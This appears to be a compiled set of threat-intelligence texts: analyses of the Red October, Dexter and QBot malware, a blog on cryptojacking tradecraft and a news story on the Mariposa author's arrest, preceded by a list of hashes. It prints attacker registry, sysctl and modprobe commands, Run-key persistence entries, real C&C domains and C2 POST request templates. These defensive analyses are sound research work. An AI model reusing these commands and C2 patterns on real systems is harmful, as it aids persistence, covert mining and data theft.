- fdea3876296a5159163aa307f23ec4af
- ec1d61013547ba87831179efad292be0
- 745ad668360e7853c7679e056f34fefe
- 06fa20af7177fe12440e7d24e596c662
- 39d2bfca1a4c512c51b67b29c3d03245
- 7c8ecc41f3073f4cfd3431f1c4d47884
- 399d217144e56997e21ca46db0739bc2
- 48c1d02623c1392fd8532f578fec13ad
- 2d777085ac3e2bc4be94c9ec45a29593
- 40b3b46369b66f4ddd4b06771a78a4b7
- 9b3e4789f600ae0b77828f18e5b4c2b6
- 34bbb34c0575ddcf3a28395d329ff024
- 6a6cd790c4479e654012ce3e2011aa04
- 0a08704e8c0bced0dbf284b0956787f4
- b4fce413f99324ce90c07744d53bbf6a
- 30a07d0eca99db337118e96c7d4aa124
- 8e2359b7a45597f80e7258212258b5ef
- 48046ee6dbac8fa652fd36290fee7fd3
- 1b3d34d61056307578354617e2df42c418494fa69af64c3754d5ec249052a3e0
- 50bafbbb6bd1c44e116ab20c7cdc7e90
- 38e649f2344fd484d561af82b781dd2f
- 40201db2df7d3d7e5eda114716482d23
- 45024d7c5ea996fc4613ea260fbfc974
- 8d9265d9b0a004c79d5b7ce4d2001b18
- 1f83b9de0ad7497547bc65d73d757765
- a9bb13f388c53e143392d14fd5fb551c
- b0295cdfa334c405650a0f650148414c
- e190768e188ce0b21d500b63b472ed39
- eaaa68422b53111b0a5c88dfc31f47b1
- b2ae39919e27d32b984fd3d209f57771
- ad809c7ee8285642a97b461e98b0b885
- 4a6ae6a513d59d94602ad0d60aef954e
- eb45d47033c9b6db8c5e07a9a87e932a
- 72d79a59ade993334b9901d31b056a58
- 969e13ec2be72c0236405729452f5052
- fe31519ab222aedfc74733cf4156c38f
- b0d0f207b9f1eedcdf9b8cdf6b97c405
- 02b88e147d5ef05ce1fda272789510a3
- cec7e82ff5a26a3676a438fa7c88cdc0
- 347289e8af15c55b9e92ce8532deca61
- 26dc0ca203fe21a2442 |
# Red October: Detailed Malware Description
## First Stage of Attack
1. Exploits
2. Dropper
3. Loader Module
4. Main component
## Second Stage of Attack
1. Modules, general overview
2. Recon group
3. Password group
4. Email group
5. USB drive group
6. Keyboard group
7. Persistence group
8. Spreading group
9. Mobile group
10. Exfiltration group
### Exploits
Based on the analysis of known cases, we identified two main ways through which Backdoor.Win32.Sputnik infects the victims. Both methods rely on spear-phishing e-mails sent to prospective victims. The e-mails contain an attachment which is either an Excel or Word document, with enticing names. In addition to Office documents (CVE-2009-3129, CVE-2010-3333, CVE-2012-0158), it appears that the attackers also infiltrated victim network(s) via Java exploitation (MD5:35f1572eb7759cb7a66ca459c093e8a1 – ‘NewsFinder.jar’), known as the ‘Rhino’ exploit (CVE-2011-3544).
#### The Excel-based exploit – CVE-2009-3129
This is the oldest known way for Red October to infect computers. A list of some of the Excel file names can be found below:
| File name | MD5 |
|-----------|-----|
| Katyn_-_opinia_Rosjan.xls | bd05475a538c996cd6cafe72f3a98fae |
| WORK PLAN (APRIL-JUNE 2011).xls | f16785fc3650490604ab635303e61de2 |
| EEAS-Staff New contact list (05-25-2011).xls | 5f9b7a70ca665a54f8879a6a16f6adde |
| tactlist_05-05-2011_.8634.xls | bb2f6240402f765a9d0d650b79cd2560 |
| EEAS New contact list (05-05-2011).xls | |
| Agenda Telefoane institutii si ministere 2011.xls | 4bfa449f1a351210d3c5b03ac2bd18b1 |
| Agenda Telefoane institutii si ministere 2011 (2).xls | 4ce5fd18b1d3f551a098bb26d8347ffb |
| FIEO contacts update.xls | ec98640c401e296a76ab7f213164ef8c |
| spisok sotrudnikov.xls | d98378db4016404ac558f9733e906b2b |
| List of shahids.xls | dc4a977eaa2b62ad7785b46b40c61281 |
| Spravochnik.xls | 5ecec03853616e13475ac20a0ef987b6 |
| Agenda Telefoane&Email institutii si ministere 2011.xls | de56229f497bf51274280ef84277ea54 |
| EEAS New contact list (05-05-2011) (2).xls | 396d9e339c1fd2e787d885a688d5c646 |
| FIEO contacts update.xls | 7e5d9b496306b558ba04e5a4c5638f9f |
| Telephone.xls | c42627a677e0a6244b84aa977fbea15d |
| List of shahids.xls | 1f86299628bed519718478739b0e4b0c |
| BMAC Attache List – At 11 Oct_v1[1].XLS | f0357f969fbaf798095b43c9e7a0cfa7 |
| MERCOSUR_Imports.xls | 50bd553568422cf547539dd1f49dd80d |
| Cópia de guia de telefonos (2).xls | cee7bd726bc57e601c85203c5767293c |
| Programme de fetes 2011.xls | ceac9d75b8920323477e8a4acdae2803 |
| 12 05 2011 updated.xls | 639760784b3e26c1fe619e5df7d0f674 |
| telefonebi.xls | d71a9d26d4bb3b0ed189c79cd24d179a |
| telefonebi.xls | dc8f0d4ecda437c3f870cd17d010a3f6 |
The Excel-based exploit is detected by Kaspersky products as Trojan-Dropper.MSWord.Agent.ga. It was apparently used mostly in 2011, with several samples being uploaded to VirusTotal by the victims.
Several detections include:
- Kaspersky: Trojan-Dropper.MSWord.Agent.ga
- McAfee: Exploit-MSExcel.u
- Microsoft: Exploit:Win32/CVE-2009-3129
- Symantec: Bloodhound.Exploit.306
- TrendMicro: HEUR_OLEXP.B
The Excel file properties for all the exploits indicate it has been edited on a system with Simplified Chinese Excel. The exploit appears to have been compiled on 26 Nov 2009.
The exact exploit type used by Red October in the XLS files is CVE-2009-3129.
#### Exploit (CVE-2009-3129) information
“Microsoft Office Excel 2002 SP3, 2003 SP3, and 2007 SP1 and SP2; Office 2004 and 2008 for Mac; Open XML File Format Converter for Mac; Office Excel Viewer 2003 SP3; Office Excel Viewer SP1 and SP2; and Office Compatibility Pack for Word, Excel, and PowerPoint 2007 File Formats SP1 and SP2 allows remote attackers to execute arbitrary code via a spreadsheet with a FEATHEADER record containing an invalid cbHdrData size element that affects a pointer offset, aka ‘Excel Featheader Record Memory Corruption Vulnerability.’”
The vulnerability exploited by the Red October XLS dropper has been patched by Microsoft in November 2009.
### The Word-based exploit – CVE-2010-3333
The CVE-2010-3333 Word-based exploit (RTF files) has been observed in September and October 2012. Example filename / MD5 list related to the attack:
| File name | MD5 |
|-----------|-----|
| arexeio1.doc | cb51ef3e541e060f0c56ac10adef37c3 |
| Popa Tatiana -plîngere.doc | 6B23732895DAAAD4BD6EAE1D0B0FEF08 |
| La Política de Defensa y el Poder Naval en México | 44E70BCE66CDAC5DC06D5C0D6780BA45 |
| OTAN (1).doc | |
| Iran, Syria and the balance of power in the Middle East.doc | 9F470A4B0F9827D0D3AE463F44B227DB |
| Diplomatic Staff list.doc | 91EBC2B587A14EC914DD74F4CFB8DD0F |
| Diplomatic Car for Sale – MB 2000.doc | 85BAEBED3D22FA63CE91FFAFCD7CC991 |
| Rulers have hostaged parliament to further their personal interest (1).doc | B9238737D22A059FF8DA903FBC69C352 |
| Итоги президенства В.Януковича.doc | 2672FBBA23BF4F5E139B10CACC837E9F |
| the wife of Ambassador-2.doc | 65D277AF039004146061FF01BB757A8F |
| Вожможные стратегические решения.doc | 731C68D2335E60107DF2F5AF18B9F4C9 |
| 31086823_cm04639-re02 en12.doc | 9B55887B3E0C7F1E41D1ABDC32667A93 |
| 16 октября 2012 года (дополнение).doc | A7330CE1B0F89AC157E335DA825B22C7 |
| delegat.doc | FC3C874BDAEDF731439BBE28FC2E6BBE |
| Davos2011_follow-up plan_heregjilt.doc | 9950A027191C4930909CA23608D464CC |
| Participant list 6th Forum 09-12 update.doc | C78253AEFCB35F94ACC63585D7BFB176 |
| Draft 3_Conference Renewable energy cooperation and Grid integration.doc | 5D1121EAC9021B5B01570FB58E7D4622 |
The Word-based exploit is detected by Kaspersky products as Exploit.MSWord.CVE-2010-3333.bw. It was apparently used mostly in 2012, with one sample being uploaded to VirusTotal, probably by one of the victims.
Several detections include:
- Kaspersky: Exploit.MSWord.CVE-2010-3333.bw
- McAfee: –
- Microsoft: Exploit:Win32/CVE-2010-3333
- Symantec: –
- TrendMicro: –
The dropper is in fact an RTF file, with “author John Doe,” supposedly created by “microsoft office word Msfedit 5.1.21.2500.” The same exploit/dropper has been observed in many other targeted attacks against Tibetan activists. It appears to be of Chinese origin just as the XLS exploit.
The exact exploit type used by Red October in these RTF files is CVE-2010-3333.
#### Exploit (CVE-2010-3333) information
“Stack-based buffer overflow in Microsoft Office XP SP3, Office 2003 SP3, Office 2007 SP2, Office 2010, Office 2004 and 2008 for Mac, Office for Mac 2011, and Open XML File Format Converter for Mac allows remote attackers to execute arbitrary code via crafted RTF data, aka ‘RTF Stack Buffer Overflow Vulnerability.’”
The vulnerability exploited by Red October’s RTF documents was patched by Microsoft in November 2010.
### The Word-based exploit – CVE-2012-0158
In November 2012, we’ve noticed new attacks using document files that exploit CVE-2012-0158. This exploit has been extremely popular with APT attacks during 2012, so it’s perhaps no surprise it was also adopted by the Red October gang.
Example filename / MD5 list related to the attack:
| File name | MD5 |
|-----------|-----|
| Mazda.doc | 93d0222c8c7b57d38931cfd712523c67 |
| Komorowski.doc | 51edea56c1e83bcbc9f873168e2370af |
| Commercial Report for October.doc | 114ed0e5298149fc69f6e41566e3717a |
| Russian terrorist attack.doc | 350c170870e42dce1715a188ca20d73b |
| FLOC-meeting.doc | 4daa2e7d3ac1a5c6b81a92f4a9ac21f1 |
| 3037.doc | 82e518fb3a6749903c8dc17287cebbf8 |
| 8th_2012 Minutes of meeting.doc | 3ded9a0dd566215f04e05340ccf20e0c |
The CVE-2012-0158 exploit used in these attacks is mostly undetected by antivirus products at the time of writing of this report. Kaspersky Lab products catch and block the exploit using the state-of-the-art “Automatic Exploit Prevention” technology.
The exact exploit type used by Red October in these RTF files is CVE-2012-0158.
#### Exploit (CVE-2012-0158) information
“The (1) ListView, (2) ListView2, (3) TreeView, and (4) TreeView2 ActiveX controls in MSCOMCTL.OCX in the Common Controls in Microsoft Office 2003 SP3, 2007 SP2 and SP3, and 2010 Gold and SP1; Office 2003 Web Components SP3; SQL Server 2000 SP4, 2005 SP4, and 2008 SP2, SP3, and R2; BizTalk Server 2002 SP1; Commerce Server 2002 SP4, 2007 SP2, and 2009 Gold and R2; Visual FoxPro 8.0 SP1 and 9.0 SP2; and Visual Basic 6.0 Runtime allow remote attackers to execute arbitrary code via a crafted (a) web site, (b) Office document, or (c) .rtf file that triggers ‘system state’ corruption, as exploited in the wild in April 2012, aka ‘MSCOMCTL.OCX RCE Vulnerability.’”
The vulnerability exploited by these Red October RTF documents was patched by Microsoft in April 2012.
### The Java-based exploit – CVE-2011-3544
In addition to Office documents, it appears that the attackers also infiltrated victim network(s) via Java exploitation (MD5:35f1572eb7759cb7a66ca459c093e8a1 – ‘NewsFinder.jar’), known as the ‘Rhino’ exploit (CVE-2011-3544).
We know the early February 2012 timeframe that they would have used this technique, and this exploit use is consistent with their approach in that it’s not 0-day. Most likely, a link to the site was emailed to potential victims, and the victim systems were running an outdated version of Java.
However, it seems that this vector was not heavily used by the group. When we downloaded the PHP responsible for serving the ‘.jar’ malcode archive, the line of code delivering the Java exploit was commented out. Also, the related links, Java, and the executable payload are proving difficult to track down to this point.
The domain involved in the attack is presented only once in a public sandbox at malwr.com, and only on February 14th, the very same day that they registered the domain hotinfonews.com.
### 2nd stage of the Java exploit attack: EXE, downloader
The second stage of the attack is downloaded from “http://www.hotinfonews.com/news/dailynews2.php” and executed by the payload of the Java exploit. It acts as a downloader for the next stage of the attack.
Known file location: %TEMP%\javaln.exe
MD5: c3b0d1403ba35c3aba8f4529f43fb300
The file is a PE EXE file, compiled with Microsoft Visual Studio 2008 on 2012.02.06. The file is protected by an obfuscation layer, the same as used in many Red October modules.
The module creates a mutex named “MtxJavaUpdateSln” and exits if it already exists. After that, it sleeps for 79 seconds and then creates one of the following registry values to be loaded automatically on startup:
```
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit]
JavaUpdateSln = %full path to own executable%
```
```
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
JavaUpdateSln = %full path to own executable%
```
Then, after a 49-second delay, it enters an infinite loop waiting for a working Internet connection. Every 67 seconds it sends a HTTP POST request to the following sites:
- www.microsoft.com
- update.microsoft.com
- www.google.com
Once a valid connection is established, it continues to its main loop.
### C&C server connection loop
Every 180 seconds the module sends a HTTP POST request to its C&C server. The request is sent to a hardcoded URL: www.dailyinfonews.net/reportdatas.php.
### Main component
The file is a PE DLL file, no export symbols, compiled with Microsoft Visual Studio 2005. The module sets a timer with a callback function to be executed every 900 seconds and starts a Windows message loop.
### Main thread
The module prepares a 98-byte buffer that contains several unique machine identifiers using its system drive’s serial number, network adapters’ MAC addresses, and Internet Explorer registration ID. The buffer also contains a unique hard-coded hexadecimal string that appears to be a victim or campaign ID and a hard-coded DWORD value.
Then, it sends this buffer to a first available C&C server from a hardcoded list using HTTP POST requests. The module expects to receive an encrypted response packet from the server. It decrypts the packet with a simple XOR algorithm and executes one of the following commands depending on the data contained in the packet:
- Load the DLL from the packet in memory and execute its DllMain
- Write the packet to a file in temporary/windows/system directory and execute it using CreateProcess()
- Load a DLL by specified local path and call its DllMain, or execute a program given its path
- Write the packet to a file in temporary/windows/system directory
- Write the contents of the packet to %TEMP%\bestcrypt_update.exe and (optional part) %TEMP%\bestcrypt_update.dll and execute the EXE file
### C&C server usage timeline
| Year | C&C domain names | URL |
|------|------------------|-----|
| 2007 | msgenuine.net | /cgi-bin/view |
| 2008 | msinfoonline.org | /cgi-bin/a/slice |
| 2009 | microsoftosupdate.com; microsoft-msdn.com; microsoftcheck.com | /cgi-bin/ms/check |
| 2010 | drivers-update-online.com; drivers-get.com; drivers-check.com | /cgi-bin/driver/info |
| 2011 | dll-host-update.com; dll-host-check.com; dll-host.com | /cgi-bin/dllhost/ac |
| 2012 | csrss-check-new.com; csrss-update-new.com; csrss-upgrade-new.com | /cgi-bin/csrss/dfl |
### Main component file names
| Year | File name of the main component |
|------|---------------------------------|
| 2007 | netads.dat |
| 2008 | smartiosys.dbn |
| 2009 | smartiosys.dbn |
| 2010 | fsmgmtio32.msc; ime64ex.ncs; ocxwinsmb.tlb |
| 2011 | frpdhry.hry; ime64ex.ncs; io32.ocx; lhafd.gcp; lsc32i.cmp; ocxstate.dat; sccme.hrp; scprd.hrd |
| 2012 | klsldr.slr; lgdrke.swk; lsmpdr.vcs; mbdsec.sdx; ocxstate.dat; opdocx.gxt; qsdtlp.rcp; rfkscp.pck; scpesc.ecs; scpkrp.gmx; sdlvk.acx; syncls.gxk; synhfr.pkc; wsdktr.ltp |
### Example of C&C communication session
```
POST http://nt-windows-online.com/cgi-bin/nt/th
Host: nt-windows-online.com
Connection: close
Content-Length: 98
```
This document provides a detailed overview of the Red October malware, its stages of attack, and the various exploits used to infiltrate systems. |
# 2021 Cryptojacking Trends and Investigation Recommendations
Throughout 2021, the CrowdStrike Falcon OverWatch™ team has observed the volume of cryptojacking intrusions more than quadruple compared to 2020. ECrime adversaries are using cryptojacking as a means of monetizing an intrusion, in addition to ransom demands and data extortion, and they’re going to greater lengths to employ stealthy techniques to optimize the performance of their tooling and make system changes to avoid discovery.
Cryptojacking involves the unauthorized use of a system’s resources to mine cryptocurrency, one of any number of digital currencies. This can be done via the installation of malware or by injecting malicious code into a webpage. Cryptojacking can impact the performance of systems and consume excess energy, and crucially, it indicates a more significant issue with the integrity of an organization’s security.
There will always be sophisticated attackers with the resources and motivation to bypass or exploit technology-based defenses, and threat actors are increasingly leveraging valid accounts and native tooling to avoid detection. This blog unpacks the interesting hands-on cryptojacking tradecraft that OverWatch threat hunters uncovered in the first half of 2021 and provides recommendations for identifying cryptojacking tradecraft within your environment.
OverWatch tracks interactive intrusion activity against the MITRE ATT&CK® Enterprise Matrix, and cryptojacking tradecraft is categorized under the Resource Hijacking (T1496) technique, part of the “Impact” tactic group.
## Why eCrime Adversaries Are Using Cryptojackers
ECrime adversaries are, by definition, primarily motivated by financial gain. Cryptojacking is yet another tool in their arsenal to anonymously extract payment following a compromise. Cryptocurrency prices have spiked to unprecedented heights in recent months, and eCrime adversaries, looking to profit from these inflated prices, have responded by incorporating cryptojacking into their toolset. In this climate, it is likely that the number of cryptojacking victims is high, but because this activity does not involve data theft, there is often no requirement for victims to disclose attacks and risk reputational damage.
Another likely motivation behind the adoption of cryptojacking activity is the fact that it can be relatively straightforward to execute. These applications generally do not require elevated permissions and can be installed by standard accounts. Many commodity cryptojackers also have browser extension tooling, so installation can be very quick and easy. OverWatch often finds adversaries attempting to take advantage of limited software controls to install cryptojacking applications, and threat hunters are critical for unearthing activity where adversaries are operating under valid accounts to configure cryptojackers.
In addition, most mining applications have a minimal code base, and due to the simplicity of the disk operations required, adversaries can quickly write cryptojacking code to disk that can blend in with legitimate scripts. Cryptojacking applications are mostly platform-agnostic, so adversaries can reuse code against multiple operating systems. Finally, adversaries can subvert network-based defenses by blending their requests into everyday telemetry and leveraging encryption or obfuscation to hide the payload data. CrowdStrike Falcon Prevent™ next-generation antivirus (NGAV) has the ability to detect and prevent up to 99% of known and unknown threats, but human defenders will always be necessary when up against human attackers. Depending on the adversary’s level of sophistication and access, they may opt for cryptojacking rather than ransomware objectives after gaining hands-on-keyboard access. Continuous threat hunting operations will augment your ability to identify tradecraft that bypasses traditional controls and the techniques designed to subvert technology.
## What’s Changing in 2021
OverWatch is seeing cryptojacking activity in 2021 that far outpaces 2020 and has uncovered hands-on cryptojacking activity in 14 industry verticals. The vast array of targeted verticals indicates that no organization is safe from eCrime adversaries looking to profit from cryptojacking attacks, and the rapid increase in this type of tradecraft suggests that these intrusions are increasingly opportunistic.
The hands-on cryptojacking activity that OverWatch uncovers shares similarities with other eCrime activity, where actors are leveraging valid accounts and native tooling to avoid detection. This was certainly the case in a recent intrusion by an unknown eCrime group that performed extensive discovery using WMIC to enumerate the host’s system and hardware information. The adversary operated under a PostgreSQL service after remotely compromising the vulnerable server. They proceeded to use a highly obfuscated Base64 PowerShell command to acquire a low-prevalence cryptojacker to disk. Investigation revealed that along with acquiring the cryptojacker, the adversary leveraged native tooling for reconnaissance. At every step of this intrusion, the adversary attempted to evade defenses, from subtly acquiring the binary to performing enumeration using native tools.
An interesting development in the cryptojacking activity that OverWatch has observed is the adversaries’ efforts to modify victim hosts to ensure that cryptojacking applications operate under the radar. In one such eCrime intrusion, the adversary gained access via RDP password spraying and wrote a Kryptex Monero cryptojacker to disk. The adversary then set scheduled tasks to routinely execute the binary for persistence purposes. In an attempt to run the cryptojacker covertly and bypass defenses, they made firewall changes to allow only outbound Kryptex traffic and deny any unnecessary inbound Kryptex server connections. The adversary proceeded to invoke multiple registry changes, shown in the commands below. The first command modifies the default value of the TdrDelay key from 2 seconds to 20 seconds. This key handles GPU preempt requests — it is likely that the adversary made this change to force their cryptojacker to run “low and slow” and therefore be less likely to trigger any detections for high GPU usage.
```
C:\Windows\system32\cmd.exe /d /s /c "reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\GraphicsDrivers /v TdrDelay /t REG_DWORD /d 0x14 /f"
```
Similarly, the adversary also changed another GPU registry key named TdrDdiDelay, increasing the value from 5 to 10 seconds. This key controls the rate at which threads leave the GPU driver, and this delay allows their cryptojacking threads to execute at a much slower rate.
```
C:\Windows\system32\cmd.exe /d /s /c "reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\GraphicsDrivers /v TdrDdiDelay /t REG_DWORD /d 0xa /f"
```
OverWatch has also observed similar tradecraft amongst Linux systems. The following two command lines were observed in separate intrusions where eCrime adversaries invoked system changes likely intended to improve the performance of custom cryptojackers. This is a timely reminder that adversaries do not discriminate and will actively target hosts regardless of the installed operating system.
The first command is a native utility, HugePages, which was used to increase from 4KB to 128KB the memory pages supported by the operating system. This memory efficiency change was likely to allow their cryptojacker to run without causing potential resource exhaustion issues.
```
sysctl vm.nr_hugepages=128
```
The second intrusion featured the adversary using the native utility MSR in an effort to improve the performance of a custom cryptojacker by enabling prefetch writes. These Linux intrusions were both preceded by a brief period of reconnaissance to collect details on the system. This reconnaissance also took advantage of “living off the land,” using tooling already installed natively on the system to blend into everyday telemetry.
```
sh -c /sbin/modprobe msr allow_writes=on > /dev/null 2>&1
```
## Threat Hunting as a Tool to Unearth Cryptojacking Tradecraft
Threat hunters are incredibly well placed to proactively search for early signs of cryptojacking activity, understand the context of the activity and determine how widespread the intrusion is. Outlined below are several recommendations for defenders looking to proactively investigate this activity.
- As shown above, the registry can be modified to alter mining requests, and it is therefore recommended to look for any anomalous registry changes to GPU or CPU keys. In addition, any fluctuations in GPU/CPU temperature that cannot be accounted for or that take place out of hours should be reviewed, along with inspecting any sustained utilization on hosts that differ from the baseline or expected volume.
- Cryptojacking applications will often attempt to stop a range of commodity cryptojacking process names to eliminate competition from any other mining application that may be currently installed. OverWatch recommends looking for this activity, which may also be associated with an unsigned binary, a rogue browser extension, or a file stored within a suspicious location.
- Adversaries may manually write cryptojacking code to disk, so it can also be useful to look for signs of file compilation events. This may also be found around the same time as associated events, such as new scheduled tasks being set for persistence purposes or native tools being used to timestomp the file in an attempt to make the malware appear legitimate.
- OverWatch further recommends investigating network connections to known mining network pools and any connections to suspicious domains such as Pastebin or Github, where commodity cryptojacking tools can be easily acquired and can masquerade as a legitimate code base.
- In addition to these investigations, it is also essential to consider the basics, as adversaries will always exploit low-hanging fruit. IT hygiene is critical, such as establishing an unauthorized software policy and ensuring rapid patching of systems following any legitimate vendor updates. It is also important to understand your environment and its critical assets, ensure full endpoint detection and response (EDR) coverage across all hosts to support visibility, and maintain strong content filtering protections across installed security technologies. |
# The Dexter Malware: Getting Your Hands Dirty
A very interesting piece of malware that targets Point of Sale systems has recently surfaced in the malware community. As a guy who frequently reverses malware that targets card data (aka. Track data), this caused me to take notice. Before I jump into the really interesting bits of the malware, I'd like to offer a few links to those that have already taken a look at this stuff. Seculert specifically were the ones that originally discovered, and named, the Dexter malware.
So if you either haven't gotten a chance to read the above articles, or simply would like a refresher, here's what the malware does in a nutshell:
- Injects itself into iexplore.exe
- Ensures the iexplore.exe process restarts in the event that it is manually stopped
- Ensures persistence via writes to the 'Run' registry key
- Scrapes track data through a very common method
- Has a command and control structure with a remote host
That last bullet in particular really caught my eye. I can't remember the last time I saw a piece of malware that targeted Point of Sale systems that had a nice C&C structure to it. And that is where our story really begins…
So in looking at the underlying assembly of the malware, it becomes apparent that this sample is planning on talking to as many as seven different domains. It's also apparent that it's going to communicate over HTTP, via a POST request. Looking at the traffic that gets generated, we see something similar to the following:
Now you might be thinking to yourself, "Geez, that's a lot of …stuff". And you'd be right. So let's break down that nice blob of data that's being sent over the wire. In total, we see the following ten different variables:
- page
- ump
- unm
- cnm
- query
- spec
- opt
- view
- var
- val
I'm going to focus on the last variable ('val') first, mainly because it's the easiest to decode, and because it's one of the most important. We see that 'val' has a value of 'ZnJ0a2o=', which I'm sure you've all guessed by now is Base64 encoded. Once decoded, we see this value change to 'frtkj'. You might be thinking that this is also garbage, but it is, in fact, a key that is used to encode the remaining text in the POST request. Specifically, we see the following occur when each variable's data is decoded:
1. The data is Base64 decoded
2. Each character in the decoded string is xored sequentially against each character of the key we previously identified. In Ruby, it looks something like this: "A".xor("f").xor("r").xor("t").xor("k").xor("j"). This results in the original content.
Knowing how this works, we can whip up a quick script to decode the entire string. We can now easily determine what a number of the variables discovered actually contain:
- page: Mutex string
- ump: Track data
- unm: Username
- cnm: Hostname
- query: Victim OS
- spec: Processor type
- opt: Unknown
- view: List of all running processes on the victim
- var: Some unique string. Appears to be constant for this sample
- val: Random key that changes every time the malware restarts
So at this point we can see how the malware is communicating outbound to its master. However, that's only half of the puzzle. How is the malware receiving commands? Well, the answer to that question comes in the form of the response Cookie. Specifically, the malware will set the 'response' cookie using the same technique (only in reverse) that we just witnessed. So basically, the server takes the key from before, XORs each byte of the string against each character in the key, and Base64 encodes it. Dexter will then parse this data and look for one of the following variables:
- update- (Updates the malware with the specified argument)
- checkin: (alters the delay between times the malware attempts to make POST requests to the master host)
- scanin: (alters the delay between times the malware scrapes memory for track data)
- uninstall (completely removes the malware)
- download- (downloads and executes the specified argument)
I should point out that each variable has to start with the character '$' in order for the malware to look at it. We can see how these variables are checked in the following decompiled code:
So at this point we can get a pretty clear picture of how this malware operates over the wire. The details of how this malware has gotten on these victim machines is still unclear, but please ensure that you are taking the necessary precautions to protect your system, with a special emphasis on Point of Sale boxes. Because really, nobody wants to become Dexter's next victim. |
# UpnP – Messing up Security since years
UpnP is a set of networking protocols to permit network devices to discover each other’s presence on a network and establish services for various functionalities. Too lazy to port forward yourself? Just enable UpnP to automatically establish working configurations with devices! Dynamic device configuration like this makes our life more comfortable for sure. Sadly, it also comes with many security issues.
In this blog article, I am focusing on mentioning the stages of the UpnP protocol, a quick introduction to security issues regarding UpnP, and how QBot abuses the UpnP protocol to exploit devices as proxy C2 servers.
## UpnP in a nutshell
UpnP takes usage of common networking protocols and stacks (HTTP, SOAP, and XML) on top of the IP protocol in order to provide a variety of functionalities for users. Without going too deep into how UpnP works in detail, the following figure is enough for the basics.
### Quick explanation of existing stages in UpnP protocol
Some services a node with UpnP enabled can offer (it really depends on the device):
- Port forwarding
- Switching power on and off for light bulbs
- etc.
This is a very high level of course. If you are interested in everything about UpnP, I recommend you to check out Wikipedia for a high-level introduction or read this report that goes more into detail.
For the following content of this blog article, only the first three stages are really relevant.
## IoT Security and UpnP
### Misconfiguration
Again, while it might be very convenient for customers to have devices autoconfigure themselves, it leads to huge security risks. Many routers have UpnP enabled by default. Think of misconfigured IoT devices that send a command to port forward a specific port, leading to a port exposure to the internet. It is known that many IoT devices contain awful security flaws like default credentials for telnet. If devices like this have such misconfigurations and expose their telnet port to the outside, it probably takes about 5 minutes until some script kiddie adds this device to its botnet.
### Exploitation
A blog post from TrendMicro previously mentioned that many devices still use very old UpnP libraries which are not up to date with current security standards. This creates a larger attack surface for attackers. The newest one being CallStranger. It is caused by the Callback header value in the UpnP SUBSCRIBE function. This field can be controlled by an attacker and enables a Server Side Request Forgery vulnerability. It can be used for the following malicious cases:
- Exfiltrate data
- Scan networks
- Force nodes to participate in DDoS attacks
## UpnP abused by QBot
Security risks created by UpnP are not limited to the IoT landscape, of course. Another method to use UpnP for malicious cases is to install Proxy C2 servers on devices which have the mentioned protocol enabled, like QBot does for example. Let’s take a look at how this is done.
### Diving into QBot’s UpnP proxy module
This technique was first discovered by McAfee in 2017. First, QBot starts scanning for devices which have UpnP enabled and are one of the following device types:
- urn:schemas-upnp-org:device:InternetGatewayDevice:1
- urn:schemas-upnp-org:service:WANIPConnection:1
- urn:schemas-upnp-org:service:WANPPPConnection:1
- upnp:rootdevice
If you are using INETSIM for malware analysis, you will probably realize that it does not offer any functionality to fake an SSDP or UpnP service in any way. However, we can use a python script by user GrahamCobb which emulates a fake SSDP service and adjusts the device description to suit our needs.
Once the devices are discovered, it sends requests for device descriptions and checks whether it deals with an internet gateway device. This can be determined by looking at the device description itself. If it is an internet gateway device, it confirms whether a connection exists by sending a GetStatusInfo followed by retrieving the external IP address of this device by sending the GetExternalIPAddress command. Next, it tries to use the AddPortMapping command to add port forwarding rules to the device.
Afterwards, all rules are removed again and the ports which were successfully port forwarded are sent as an HTTP-POST to the C2 server. The carrier protocol is HTTPS and the response is sent in the following form:
```
# destination address
https://[HARDCODED_IP]:[HARDCODED_PORT]/bot_serv
# POST DATA form, successful port forwarded ports are appended to ports
cmd=1&msg=%s&ports=
```
From this point on, my analysis stopped for now. However, McAfee explains that a new binary is downloaded from the contacted C2 server, which re-adds the port forwarding rules and is responsible for the C2 communication.
## Final Words
As you can see, UpnP contains many security flaws and can lead to a compromised network. If you have UpnP enabled in your company’s network, I really recommend checking whether this is really needed and turning it off if it is not necessary. |
# Mariposa Botnet Author, Darkcode Crime Forum Admin Arrested in Germany
A Slovenian man convicted of authoring the destructive and once-prolific Mariposa botnet and running the infamous Darkode cybercrime forum has been arrested in Germany on request from prosecutors in the United States, who’ve recently re-indicted him on related charges.
NiceHash CTO Matjaž “Iserdo” Škorjanc is being held by German authorities on a US arrest warrant for operating the destructive “Mariposa” botnet and founding the infamous Darkode cybercrime forum. The Slovenian Press Agency reported that German police arrested Škorjanc last week in response to a U.S.-issued international arrest warrant for his extradition.
In December 2013, a Slovenian court sentenced Škorjanc to four years and ten months in prison for creating the malware that powered the ‘Mariposa‘ botnet. Spanish for “Butterfly,” Mariposa was a potent crime machine first spotted in 2008. Very soon after its inception, Mariposa was estimated to have infected more than 1 million hacked computers — making it one of the largest botnets ever created.
Škorjanc and his hacker handle Iserdo were initially named in a Justice Department indictment from 2011 along with two other men who allegedly wrote and sold the Mariposa botnet code. But in June 2019, the DOJ unsealed an updated indictment naming Škorjanc, the original two other defendants, and a fourth man in a conspiracy to make and market Mariposa and to run the Darkode crime forum.
More recently, Škorjanc served as chief technology officer at NiceHash, a Slovenian company that lets users sell their computing power to help others mine virtual currencies like bitcoin. In December 2017, approximately USD $52 million worth of bitcoin mysteriously disappeared from the coffers of NiceHash. Slovenian police are reportedly still investigating that incident.
It will be interesting to see what happens with the fourth and sole U.S.-based defendant added in the latest DOJ charges — Thomas K. McCormick, a.k.a “fubar” — allegedly one of the last administrators of Darkode. Prosecutors say McCormick also was a reseller of the Mariposa botnet, the ZeuS banking trojan, and a bot malware he allegedly helped create called “Ngrbot.”
Between 2010 and 2013, Fubar would randomly chat me up on instant messenger to trade information about the latest goings-on in the malware and cybercrime forum scene. Fubar frequently knew before anyone else about upcoming improvements to or new features of ZeuS and discussed at length his interactions with Iserdo/Škorjanc. Every so often, I would reach out to Fubar to see if he could convince one of his forum members to call off an attack against KrebsOnSecurity.com, an activity that had become something of a rite of passage for new Darkode members.
